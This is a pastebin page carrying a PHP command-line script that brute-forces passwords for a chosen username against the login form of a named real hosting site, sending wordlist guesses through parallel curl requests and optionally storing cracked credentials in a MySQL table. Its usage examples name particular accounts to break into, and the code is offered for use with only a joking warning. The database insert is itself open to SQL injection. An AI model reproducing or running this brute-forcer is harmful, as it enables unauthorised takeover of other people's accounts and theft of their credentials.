a pastebin project

Stuff

  1. #!/usr/bin/php
  2. <?php
  3.        
  4.         /*-------------------------------------------------------------------------------------*/
  5.         //      The Unnamed Script v3.0
  6.         //      by: GODD & Ishkur
  7.         //      <thenullbyte.org>
  8.         //
  9.         //      Usage:
  10.         //      /usr/bin/brute [input] [options]
  11.         //
  12.         //      Parameters:
  13.         //       -h -- display help
  14.         //       -l -- path to wordlist
  15.         //       -u -- username to get into
  16.         //       -v -- sets verbosity to ON
  17.         //       -s -- number of curl sessions per iteration
  18.     //                **note: 10 is faster than 1, and 100 is slower than 1
  19.         //     -db -- log to database
  20.         //                  **Usage: -db dbhost dbuser dbpass dbname
  21.         //
  22.         //      Usage:
  23.         //      /usr/bin/brute -l mil-dic.txt -u paradoxhacker -s 25
  24.         //      /usr/bin/brute -l argon.txt -u ishkur88 -s 15 -v
  25.         //      /usr/bin/brute -l general.txt -u slyjakes -s 20 -db localhost hacker passwd logs
  26.         //
  27.         //      WARNING:
  28.         //      Use this script at your discretion, be responsible, and have fun ;)
  29.        
  30.         /*-------------------------------------------------------------------------------------*/
  31.        
  32.                 /*---------------------------------*/
  33.                 // Main Function, handles user input
  34.                 /*---------------------------------*/
  35.                 function brute_force($argc, $argv) {
  36.                 $maxArgs = $argc - 1;
  37.                 $something = 0;
  38.                 $database = 0;
  39.                 $limit = 10;
  40.                         for($x = 1;$x<=$maxArgs||$x==1; ++$x) { 
  41.                                 switch($argv[$x]) {
  42.                                         case "-h" :
  43.                                                 echo "The Unnamed Script v3.0\n".
  44.                                                           "by: GODD & Ishkur\n".
  45.                                                           "<thenullbyte.org>".
  46.                                                           "Usage:\n".
  47.                                                           $_SERVER['PHP_SELF']. " [input] [options]\n\n".
  48.                                                           "Parameters:\n".
  49.                                                           " -h -- display help\n".
  50.                                                           " -l -- path to wordlist\n".
  51.                                                           " -u -- username to get into\n".
  52.                                                           " -v -- sets verbosity to ON\n".
  53.                                                           " -s -- number of curl sessions per iteration\n".
  54.                                                           "     **note: 10 is faster than 1, and 100 is slower than 1\n".
  55.                                                           " -db -- log to database\n".
  56.                                                           "     **Usage: -db dbhost dbuser dbpass dbname\n\n".
  57.                                                           "Usage: \n".
  58.                                                           $_SERVER['PHP_SELF']. " -l mil-dic.txt -u paradoxhacker -s 25\n".
  59.                                                           $_SERVER['PHP_SELF']. " -l argon.txt -u ishkur88 -s 15 -v\n".
  60.                                                           $_SERVER['PHP_SELF']. " -l general.txt -u root -s 20 -db localhost hacker passwd logs\n\n".
  61.                                                           "WARNING:\n".
  62.                                                           "Use this script at your discretion, be responsible, and have fun ;)\n\n";
  63.                                         break;
  64.                                         case "-l" :
  65.                                                 ++$x;
  66.                                                 $list = $argv[$x];
  67.                                                 $something = 1;
  68.                                         break;
  69.                                         case "-u" :
  70.                                                 ++$x;
  71.                                                 $user = $argv[$x];
  72.                                                 $something = 1;
  73.                                         break;
  74.                                         case "-v" :
  75.                                                 $verbosity = 1;
  76.                                                 $something = 1;
  77.                                         break;
  78.                                         case "-s" :
  79.                                                 ++$x;
  80.                                                 $limit = $argv[$x];
  81.                                                 $something = 1;
  82.                                         break;
  83.                                         case "-db" :
  84.                                                 $database = 1;
  85.                                                 $dbhost = $argv[$x + 1];
  86.                                                 $dbuser = $argv[$x + 2];
  87.                                                 $dbpass = $argv[$x + 3];
  88.                                                 $dbname = $argv[$x + 4];                                       
  89.                                                 $x+=4;
  90.                                         break;
  91.                                         default :
  92.                                                 echo "The Unnamed Script v3.0\n".
  93.                                                           "by: GODD & Ishkur\n".
  94.                                                           "<thenullbyte.org>\n\n".
  95.                                                           "Usage:\n".
  96.                                                           $_SERVER['PHP_SELF']. " [input] [options]\n\n".
  97.                                                           "Parameters:\n".
  98.                                                           " -h -- display help\n".
  99.                                                           " -l -- path to wordlist\n".
  100.                                                           " -u -- username to get into\n".
  101.                                                           " -v -- sets verbosity to ON\n".
  102.                                                           " -s -- number of curl sessions per iteration\n".
  103.                                                           "     **note: 10 is faster than 1, and 100 is slower than 1\n".
  104.                                                           " -db -- log to database\n".
  105.                                                           "     **Usage: -db dbhost dbuser dbpass dbname\n\n".
  106.                                                           "Usage: \n".
  107.                                                           $_SERVER['PHP_SELF']. " -l mil-dic.txt -u paradoxhacker -s 25\n".
  108.                                                           $_SERVER['PHP_SELF']. " -l argon.txt -u ishkur88 -s 15 -v\n".
  109.                                                           $_SERVER['PHP_SELF']. " -l general.txt -u root -s 20 -db localhost hacker passwd logs\n\n".
  110.                                                           "WARNING:\n".
  111.                                                           "Use this script at your discretion, be responsible, and have fun ;)\n\n";
  112.                                 }
  113.                         }
  114.                         if($verbosity&&$something) {
  115.                                 $pw = verboseMode($list, $user, $limit);
  116.                                 if($database&&$pw){
  117.                                         logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw);
  118.                                 }
  119.                         } elseif($something) {
  120.                                 $pw = notVerboseMode($list, $user, $limit);
  121.                                 if($database&&$pw){
  122.                                         logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw);
  123.                                 }
  124.                         }
  125.         }
  126.  
  127.         /*----------------------------------------------------*/
  128.         //      Database:
  129.         //            $query = 'CREATE TABLE accounts ( '.
  130.         //                              'ID INT NOT NULL AUTO_INCREMENT, '.
  131.         //                              'username VARCHAR(20) NOT NULL, '.
  132.         //                              'password VARCHAR(30) NOT NULL, '.
  133.         //                              'PRIMARY KEY(ID))';
  134.         /*----------------------------------------------------*/
  135.                
  136.         /*---------------------------------------------*/
  137.         // Database calls, for logging results to MySQL
  138.         /*---------------------------------------------*/
  139.         function logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw) {
  140.                 $conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('MySQL Error: Authentication Error');
  141.                 mysql_select_db($dbname);
  142.                 $query = 'INSERT INTO accounts (username, password) VALUES ('.$user.', '.$pw.');';
  143.                 mysql_query($query) or die ('MySQL Error: Data Error');
  144.                 mysql_close($conn);
  145.         }
  146.  
  147.         /*----------------------------------------------------------------*/
  148.         // Main Loop, handles allocation of data and curl sessions (Verbose)
  149.         /*----------------------------------------------------------------*/   
  150.         function verboseMode($list, $user, $limit) {
  151.         $file = fopen($list, "r");
  152.                 if ($file) {
  153.                         $count = 1;
  154.                         $match=0;
  155.                         $submit = 'Log Me In Now!';
  156.                         $pw = null;
  157.                         $url = 'http://www.110mb.com/login.php';
  158.                         $fields = "remember_me=1&submit=$submit&mode=login&user_name=$user&password=";
  159.                         $replace = array("\r","\n");
  160.                         $with = array('','');
  161.                         $mh = curl_multi_init();
  162.                         for($x = 0; $x < $limit; $x++) {
  163.                                 $ch[$x] = curl_init();
  164.                                 curl_setopt($ch[$x], CURLOPT_URL,$url);
  165.                                 curl_setopt($ch[$x], CURLOPT_POST, 1);
  166.                                 curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER,1);
  167.                         }
  168.                         while ((!feof($file)) && $match==0) {
  169.                                 for($x=0;$x<$limit;++$x) {
  170.                                         $password[$x] = str_replace($replace,$with,fgets($file, 4096));
  171.                                         curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $fields.$password[$x]);
  172.                                         curl_multi_add_handle($mh,$ch[$x]);     
  173.                                 }
  174.                         $running = null;       
  175.                         do {
  176.                                 curl_multi_exec($mh,$running);
  177.                         }
  178.                         while ($running > 0);   
  179.                                 echo "> - - - - - - - - - - attempt #$count\n";
  180.                                         for($x=0;($x<$limit)&&!($match);++$x) {
  181.                                                 $result = curl_multi_getcontent($ch[$x]);
  182.                                                 if(preg_match("/\bincorrect\b/i",$result)){
  183.                                                 flush();       
  184.                                                 echo $password[$x]." - invalid\n";
  185.                                         } else {
  186.                                                 $pw=$password[$x];$match=1;echo $result;
  187.                                         }
  188.                                         curl_multi_remove_handle($mh,$ch[$x]);
  189.                                         }
  190.                         ++$count;
  191.              }
  192.             curl_multi_close($mh);
  193.             fclose($file);
  194.                 }
  195.                 if ($match) {
  196.                         echo "\n# -- > Password is $pw < -- #\n\n";
  197.                 } else {
  198.                         echo "Password was not found\n";
  199.                 }
  200.                 return $pw;
  201.         }
  202.        
  203.        
  204.         /*--------------------------------------------------------------------*/
  205.         // Main Loop, handles allocation of data and curl sessions (Non-Verbose)
  206.         /*--------------------------------------------------------------------*/       
  207.         function notVerboseMode($list, $user, $limit) {
  208.         $file = fopen($list, "r");
  209.                 if ($file) {
  210.                         $match=0;
  211.                         $submit = 'Log Me In Now!';
  212.                         $pw = null;
  213.                         $url = 'http://www.110mb.com/login.php';
  214.                         $fields = "remember_me=1&submit=$submit&mode=login&user_name=$user&password=";
  215.                         $replace = array("\r","\n");
  216.                         $with = array('','');
  217.                         $mh = curl_multi_init();
  218.                         for($x = 0; $x < $limit && !feof($file); $x++) {
  219.                                 $ch[$x] = curl_init();
  220.                                 curl_setopt($ch[$x], CURLOPT_URL,$url);
  221.                                 curl_setopt($ch[$x], CURLOPT_POST, 1);
  222.                                 curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER,1);
  223.                         }
  224.                         while ((!feof($file)) && $match==0) {
  225.                                 for($x=0;$x<$limit;++$x) {
  226.                                         $password[$x] = str_replace($replace,$with,fgets($file, 4096));
  227.                                         curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $fields.$password[$x]);
  228.                                         curl_multi_add_handle($mh,$ch[$x]);     
  229.                                 }
  230.                         $running = null;       
  231.                         do{
  232.                                 curl_multi_exec($mh,$running);
  233.                         }while ($running > 0)
  234.                         for($x=0;($x<$limit)&&!($match);++$x) {
  235.                                 $result = curl_multi_getcontent($ch[$x]);
  236.                                 if(!preg_match("/\bincorrect\b/i",$result)){
  237.                                         $pw=$password[$x];$match=1;echo $result;
  238.                                 }
  239.                                 curl_multi_remove_handle($mh,$ch[$x]);
  240.                         }
  241.              }
  242.             curl_multi_close($mh);
  243.             fclose($file);
  244.                 }
  245.                 if ($match) {
  246.                         echo "\n# -- > Password is $pw < -- #\n\n";
  247.                 } else {
  248.                         echo "Password was not found\n";
  249.                 }
  250.                 return $pw;
  251.         }
  252.        
  253.         brute_force($argc, $argv);
  254.        
  255. ?>

advertising

Create a Paste

Please enter your new post below (or upload a file instead):





Please note that information posted here will not expire by default. If you want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords.

worth-right worth-right
fantasy-obligation